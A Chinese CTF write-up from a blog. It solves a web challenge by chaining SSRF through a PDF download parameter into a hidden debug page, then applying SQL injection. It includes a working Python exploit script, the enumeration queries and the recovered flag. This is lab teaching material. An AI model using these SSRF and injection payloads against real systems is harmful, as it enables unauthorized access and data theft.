目錄
- 結束語
進入檔案中心頁面,點擊paper可以下載pdf檔案,請求download.php,引數為dl


pdf檔案內容為ssrf,可能為線索
接著掃一遍目錄,發現了/secret目錄

訪問一下試試

分別訪問

看到私密頁面1,查看元素,填完表提交,到達私密頁面2,元素有一個變數s,s=3時回傳頁面2

發現secret_debug.php無法訪問
到這里就無頭緒了,wp大法,利用download.php傳參進行ssrf攻擊
雖然只能下載pdf檔案,但是下載一個不存在的檔案的時候readfile函式還是會執行的,
根據secret引數帶入secret_debug構造請求
http://111.200.241.244:64242/secret/secret_debug.php?s=3&txtfirst_name=a&txtmiddle_name=b&txtlast_name=c&txtname_suffix=d&txtdob=01/05/2000&txtdl_nmbr=1234&txtretypedl=1234

發現.pdf加在了s=3后面,&符號導致,所以進行url編碼,服務器再解碼,.pdf就會加到所有引數最后

還是有問題,.pdf加在最后一個引數后面會影響其值,所以在引數后面再加一個&,相當于隔斷了pdf

注冊成功,,注冊的引數可以進行sql注入,大神的腳本:
import requests
import random
import urllib
url = ' http://111.200.241.244:64242//download.php'
# subquery = "database()"
# ssrfw
# subquery = "select group_concat(table_name) from information_schema.tables where table_schema='ssrfw'"
# etcYssrf,users
# subquery = "select group_concat(column_name) from information_schema.columns where table_name='cetcYssrf'"
# secretName,value
# subquery = "select secretName from cetcYssrf LIMIT 1"
# secretname -> flag
subquery = "select value from cetcYssrf LIMIT 1"
# value -> flag{cpg9ssnu_OOOOe333eetc_2018}
id = random.randint(1, 10000000)
dl = ('http://127.0.0.1/secret/secret_debug.php?' +
urllib.parse.urlencode({
"s": "3",
"txtfirst_name": "A','b',("+subquery+"),'c'/*",
"txtmiddle_name": "B",
"txtLast_name": "C",
"txtname_suffix": "D.",
"txtdob": "*/,'01/10/2019",
"txtdl_nmbr": id,
"txtRetypeDL": id
}) + "&")
r = requests.get(url, params={"dl": dl})
print(r.text)
知識點:
1.ssrf
2.sql注入
結束語
莫忘少年凌云志 曾許天下第一流
本文來自博客園,作者:{花城1122},轉載請注明原文鏈接:https://www.cnblogs.com/huacheng1122/p/15324975.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/302381.html
標籤:其他
上一篇:無人車編隊中的動作捕捉
下一篇:APT攻擊技術之反彈shell
